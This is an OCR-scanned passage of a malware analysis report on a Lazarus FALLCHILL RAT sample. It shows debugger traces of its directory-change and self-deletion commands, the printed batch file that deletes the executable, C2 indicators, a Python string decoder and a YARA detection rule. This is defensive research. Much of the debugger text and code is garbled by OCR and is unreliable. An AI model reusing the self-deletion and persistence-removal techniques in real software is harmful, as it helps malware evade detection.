8B 4D 0OC mov ecx dword ptr ss:[febp+C]) X87SW_SF O X87SW_P 0 X87SW_U 0
52 push ed

E8 BO FA FF FF cu'l'l Iazarus - 4030107

v

Default (stdcall)
: [esp] 0255C63D
: [esp+4] 0000002E
esp+8] 00000000
esp+C] 02571FD8

Rt \ED Unlock

lazarus.00403010

.text: 00403558 lazarus.exe:$355B #3558

$YDump 1 @4 Dump 2
Address | Hex
0255C63D FF
0255C64D
0255C65D | 65 00 73

§% Dump 3 @ watch 1 2;’ Struct

ASCII

4% Dump 4 @4 Dump 5 [x=] Locals

73 00 65 Of
00 44 0
)0 00 00 00

TAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAR

Figure 103

EAX = 32 — set the current directory for the current process to a value provided by the C2 server

The executable calls the FindFirstFileW API with the directory as a parameter:

52 push edx
push eax
€all dword ptr ds:[<&FindFirstFilew>]

‘xs7sw_sr=o X87SW_P O X87SW_U 0

v
Defauilt (stdcall) v [s ][0 uniod
1: [esp] 0310FB10 L"C:\\NewDirectory\\*.*"
dword ptr [004152B0 <lazarus.&FindFirstFilew>]=<kernel32.FindFirstFilew> 2: esglﬂ 0310FD18 A N\
3: [esp+8] 02571FD8
4: [esp+C] 00000000

0
FF 15 BO 52 41 00

.text:004053D2 lazarus.exe:$53D2 #53D2

@49/ Dump 1

s 5 =
488 ump 2 0310FBI10 | L"C:\\NewDirectory\\*.

4% Dump 3 0310FBOO | 0310FD18

22) Struct

Figure 104
The current directory for the process is changed using the SetCurrentDirectoryW API:

@oump4  Woumps @) watch1  Ix-lLocals

52

push ed
FF 15 30 52 41 00

X
€all dword ptr ds:[<&setCurrentDirectoryw>]

oizimot m e o e
€
I

v
5 Default(shdcall) ~|[5_[2]00 unlod
esp] 0310FB10 L"C:\\NewDirectory\\"
esp+4] 02571FD8
esp+8] 00000000
esp+C] 02569BCS8

JEERGEERNY 0310FB10 | L'C:\\NewDirectory\\"

dword ptr [00415230 <lazarus.&SetCurrentDirectoryw>]=<kernel32.SetCurrentDirectoryws

W

.Text: 00405407 lazarus.exe: $5407 #5407

e 4 Wl o~

Sl - 08 i .

slllin Wl . D o

Figure 105

EAX = 33 — delete a registry value used for persistence and all artifacts associated with the malware on
the system

GetTempPathA is utilized to retrieve the % TEMP% directory:

53 push ebx
68 04 01 00 00 push 104

FF 15 60 00 41 00 €all dword ptr ds:[<aGetTempPatha>]

0 X87SW_U o

% E}D Unloch

l X87SW_SF O X87SW_P

v
| > Default (stdcall)
Lo 1: [es| 00000104
dword ptr [00410060 <lazarus.&GetTempPathA>]=<kernel32.GetTempPathA> 2: esg:L;] 02566298
3: [esp+8] 02571FD8
4: [esp+C] 00000000

.Text:00408BCE lazarus.exe: $8BCE #8BCE

4% Dump 1

104

00000
$9Dump2 &% Dump 3 0310F860 | 02566298

2 struct

Figure 106

@Woumps @WHoumps @ watch1i  Ix=lLocals

The process creates a batch file called CMUPD.bat, as highlighted in figure 107.
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. 6A 00 push 0 XS/IW_b 3 (EMPLY)  XS/1W_/ 3 LEMPLY)
. 68 80 00 00 00 push 80
. 6A 02 push 2 x87Statusword 0000
. 6A 00 push 0 X87SW_B O Xx87SW_C3 0 Xx87SW_C2 O
. 6A 03 push 3 X87SW_C1 O X87SW_CO 0 X87SW_ES 0
. 68 00 00 00 40 push 40000000 X87SW_SF O X87SW_P 0 Xx87SW_U 0
L] 53 push ebx €
[EIP g 1 FF 15 58 00 41 00 €all dword ptr ds:[<&CreateFileA>] v
. e - T 3 | Default (stdcal) v [5s 2] unlod

1: [esp] 02566298 "c \\Users\'lll\\AppData\\L
2: [esp+4] 4000000

3: [esp+8] 00000003

4: [esp+C] 00000000

dword ptr [00410058 <lazarus.&CreateFileA>]=<kernel32.CreateFileA>

.Text:00408C9E lazarus.exe: $8CIE #8COE

5 "c:\\Users\ I\ \AppData\\Local\\Temp\\CMUPD.bat"
Woump1  @Wpump2 WDump3 WMDump4 @MDumps @ watch1  Ix-llocals 2 Struct CovUsens\ M ARPDATE NLOCA AT emDXNCMUED 2 bAT

Address | Hex ASCII
0310FA58|43 4D 55 5044 2E 62 61[74 00 00 00[00 00 00 00|EMUPD.bat.......
0310FA68| 00 00 00 00|00 00 00 00|00 00 00 00(00 00 00 00| .eeuveneeennnnns

0310FA78(00 00 00 00|00 00 00 00|00 00 OO0 00|00 00 00 00| ..uvuunnennnnnns

Figure 107

The binary opens the Run registry key that is commonly used for persistence purposes (0x80000002 =
HKEY_LOCAL_MACHINE and 0xFOO3F = KEY_ALL_ACCESS):

51 push ecx x87statusword 0000

68 3F 00 OF 00 push FOO3F X87SW_B 0 XB87SW_C3 0 X87SW_C2 0

6A 00 push 0 X87SW_C1 0 XB87SW_CO O X87SW_ES 0

52 push edx € X87SW_SF O X87SW_P 0 X87SW_U o

68 02 00 00 80 push 80000002

FF 15 90 53 41 00 call Mrd ptr ds: [<@RegOpenKeyExw>] v

e 3 | Default (stdcal) v [s 2] uniod

1: [esp] 80000002

2: [esp+4] 0310F894 L"Software\\\\Microsoft\\
3: [esp+8] 00000000

4: [esp+C] O0OF003F

dword ptr [00415390 <lazarus.&RegOpenKeyExw>]=<advapi32.RegOpenkKeyExw>

.text:00408D61 lazarus.exe:$8D61 #8D61
[E80000002
W@Woump1  @yoump2  @Hoump3  @HDump4  @WDumps @ watch1  [x=Locdls P 0310F854 E0310F894
0310F858 | 00000000
Address |Hex siin I 0310F85C | 000F003F
0310F840|0D 06 09 2A]ss 48 86 F7[oo 01 01 01[05 00 03 sz\ WA | 0310F360 0310F878

A value with the same name as the executable (which we generically called “lazarus”) is deleted by the
malware using RegDeleteValueW:

L"software\\\\Microsoft\\\\windows\\\\Currentversion\\\\Run"

50 push eax € ‘ X87SW_SF 0 X87SW_P 0 X87SW_.U 0O
51 push ecx i
FF 15 2C 52 41 00 €all dword ptr ds:[<&RegDeletevaluew>] v
R — e £ 3 | pefauit stecay ~ 1[5 0] Uniod
= 1: [esp] 000001F8
dword ptr [0041522C <lazarus.&RegDeleteValuew>]=<advapi32.RegDeleteValuew> 2: [esp+4] 0310FBSC L"lazarus"
3: [esp+8] 02571FD8
4: [esp+C] 00000000
.text:00408D78 lazarus.exe:$8D78 #8D78

@4 Dump 1 4% Dump 2 4% Dump 3 @44 Dump 4 @4 Dump 5 @ watch 1 [x=] Locals :»’ Struct Poglogsso ono;é:g | L"lazarus"

Figure 109

The content of the batch file is displayed below. It is used to delete the malicious file and afterwards the
batch file:

I~ CMUPD .bat E3 I

Gecho off

:Loop

del "C:\Users\Il\Desktop\lazarus.exe"

if exist "C:\Users\-\Desktop\lazarus.exe" goto Loop
del "C:\Users\Il\2ppData\Local\Temp\CMUPD.bat"

w N -

(40 Y 9

Figure 110
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A new process that runs the batch file is created by the malware, and this concludes our analysis:

pﬂiﬂ §g§ X87TW_2 3 (Empty) x87TW_3 3 (Empty)
Bush = X87TW_4 3 (Empty) Xx87TW_5 3 (Empty)
push 0 X87TW_6 3 (Empty) X87TW_7 3 (Empty)
push 0
push 0 x87Statusword 0000
push 0 X87SW_B 0 X87SW_C3 0 X87SW_C2 0
push 0 X87SW_C1 0 X87SW_CO O X87SW_ES 0
pusa ebx € X87SW_SF O X87SW_P 0 Xx87SwW_U O
ush 0 ameno
€all dword ptr ds:[<&CreateProcessA>] vIF .
-------------- ,  |Defaut (stdcal) ~|[s 2] unlod
1: [esp] 00000000
dword ptr [00410050 <lazarus.&CreateProcessA>]=<kernel32.CreateProcessA> 2: [esp+4] 02566298 "c:\\Users\|Jl\\Appoata\
3: [esp+8] 00000000
4: [esp+C] 00000000
.Text: 00409105 lazarus.exe:$9105 #9105 (i —

- - - : - = ) 00000000
Woump1  @Wpump2 @Ypump3  @Houmps  @Mpumps @ wawch1  Ix-llocals ) Stuct  o370840] 02566298 | C: \\users\'[Ill\\Apppata\\Local\\Temp\\CMUPD. bat"
Address | Hex | AscIiI | 0310F844 | 00000000

025669E0 |40 65 63 68|6F 20 6F 66|66 OD DA 3A|4C 6F G6F 70|@echo Off..:Loop ggiggg:g Wmm

025669F0 0D DA 64 65|6C 20 22 43|3A 5C 55 73|65 72 73 5C|..del "C:\Users\ T TOE RS0 l60000600

02566A00 5C|44 65 73 6B|74 6F 70 5C|6C 61 7A 61 Jilll\Desktop\laza 0310 8% 4| 00000000

02566A10(72 75 73 2E(65 78 65 22|0D DA 69 66|20 65 78 69(rus.exe”..if exi ORitER: | noonoos

02566A20(73 74 20 22|43 3A 5C 55(73 65 72 73 |5C N st "c:\users' Il 0310F85C | 0310F910
7 7 7 7 72 75 73| \Desktop\

et e b L bl s e s L i e LT 0310F860| 0310F8FC

Figure 111

INDICATORS OF COMPROMISE

SHA256: a606716355035d4aleaOb15f3bee30aad41a2c32df28c2d468eafd18361d60d6
C2 IP addresses:
125.212.132.222

175.100.189.174

APPENDIX

Decryption algorithm for strings (Python)
1=["GvgVvihrlmEcW",
"GvgVlofnvImulinagrimW",
"GvgUhviNanvW",
"GvgTvnkPagsW",
"GvgTvnkFrovNanvW",
"GvgTrxpClfimg",
"GvgTlpvmImulinagrim",
"GvgSbhgvnDrivxglibW",
"GvgPilxvhhTravh",
"GvgMIwfovHamwovW",
"GvgMIwfovFrovNanvW",
"GvgLlxaoTrnv",
"GvgLltrxaoDirevh",
"GvgLahgEiili",
"GvgFrovTmv",
"GvgFrovSrzv",
"GvgFrovAggiryfgvhW",
"GvgEcrgClwvTsivaw",
"GvgEcrgClwvPilxvhh",
"GvgDrhpFivvSkaxvEcW",
"GvgDirevTbkvW",
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"GvgClnkfgviNanvW",
"GvgCfiivmgPilxvhh",
"GvgCfiivmgDrivxglibW",
"GvgAwakgvihlmul",
"RvtCivagvKvbW"]

for j in range (0, len(1)):
S )
a=1[j]
for i in range (0, len(a)):
b = hex(ord(a[i]))
b =int(b,16)
if (b > 0x61) and (b < 0x7a):
¢ =int("0xdb",16) - b

s = s + str(bytearray.fromhex(str(hex(c))[2:]).decode())

else:
s=s+ali]

print s+"\n"

Yara rule for detecting the threat

rule Lazarus FALLCHILL RAT

{

meta:
author = "Vlad Pasca - LIFARS LLC"
Date = "2021-08-25"

Reference = "https://us-cert.cisa.gov/sites/default/files/publications/MAR-

10135536-A_WHITE_S508C.pdf"
strings:
$s1 = "GvgFrovSrzv" fullword ascii
$s2 = "LixpRvhlfixv" fullword ascii
$s3 = "Pilxvhh32FrihgW" fullword ascii
$s4 = "WirgvPilxvhhMvnlib" fullword ascii

$t1 = "@echo off" fullword ascii
$t2 = "c%sd.e%sc %os > \"%s\" 2>&1" fullword wide
$t3 ="--" fullword wide
$t4 = "REGSVR32.EXE.MUI" fullword wide
condition:
(uint16(0) == 0x5A4D) and (3 of ($s*) or 3 of ($t*))
H
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